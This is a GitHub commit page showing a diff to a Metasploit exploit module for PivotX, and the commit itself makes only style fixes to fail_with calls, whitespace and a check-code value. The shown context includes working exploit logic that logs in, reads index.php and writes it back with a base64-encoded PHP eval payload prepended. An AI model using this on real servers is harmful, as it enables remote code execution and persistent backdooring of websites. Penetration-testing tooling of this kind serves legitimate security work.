Skip to content

Commit 2328b40

Browse files
committed
Unifies parenthesis in fail_with calling, whitespaces fixes, changing CheckCode::Unknown to CheckCode::Detected
1 parent edfa84e commit 2328b40

File tree

1 file changed

+8
-8
lines changed

1 file changed

+8
-8
lines changed

modules/exploits/linux/http/pivotx_index_php_overwrite.rb

Lines changed: 8 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -65,13 +65,13 @@ def check
6565

6666
html_body = res.get_html_document
6767

68-
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
68+
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
6969

7070
version = Rex::Version.new(Regexp.last_match(1))
7171

72-
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
72+
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
7373

74-
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
74+
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
7575
end
7676

7777
def login
@@ -90,7 +90,7 @@ def login
9090
'keep_cookies' => true
9191
})
9292

93-
fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
93+
fail_with(Failure::NoAccess, 'Login failed, probably incorrect credentials') unless (res&.code == 200 || res&.code == 302) && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
9494

9595
@csrf_token = Regexp.last_match(1)
9696
end
@@ -102,7 +102,7 @@ def modify_file
102102
'vars_get' => { 'page' => 'homeexplore' }
103103
})
104104

105-
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching working directory' unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
105+
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching working directory') unless res&.code == 200 && res.body =~ /basedir=([a-zA-Z0-9]+)/
106106

107107
@base_dir = Regexp.last_match(1)
108108

@@ -112,19 +112,19 @@ def modify_file
112112
'vars_get' => { 'function' => 'view', 'basedir' => @base_dir, 'file' => 'index.php' }
113113
})
114114

115-
fail_with Failure::UnexpectedReply, 'Received unexpected response when fetching index.php' unless res&.code == 200
115+
fail_with(Failure::UnexpectedReply, 'Received unexpected response when fetching index.php') unless res&.code == 200
116116

117117
@original_value = res.get_html_document.at('textarea')&.text
118118

119-
fail_with Failure::Unknown, 'Could not find content of index.php' unless @original_value
119+
fail_with(Failure::Unknown, 'Could not find content of index.php') unless @original_value
120120

121121
res = send_request_cgi({
122122
'method' => 'POST',
123123
'uri' => normalize_uri(target_uri.path, 'pivotx', 'ajaxhelper.php'),
124124
'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
125125
})
126126

127-
fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
127+
fail_with(Failure::PayloadFailed, 'Failed to insert malicious PHP payload') unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
128128
end
129129

130130
def trigger_payload

0 commit comments

Comments
 (0)